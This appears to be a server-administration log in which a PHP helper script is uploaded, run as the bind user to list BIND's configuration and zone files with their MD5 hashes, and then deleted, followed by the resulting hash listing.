MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 18:13:08: Establishing a connection
2026-04-28 18:13:16: Establishing a connection
2026-04-28 18:13:16: 

PUT: /tmp/pkp651970

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 18:13:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp651970; rm /tmp/pkp651970'

2026-04-28 18:13:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
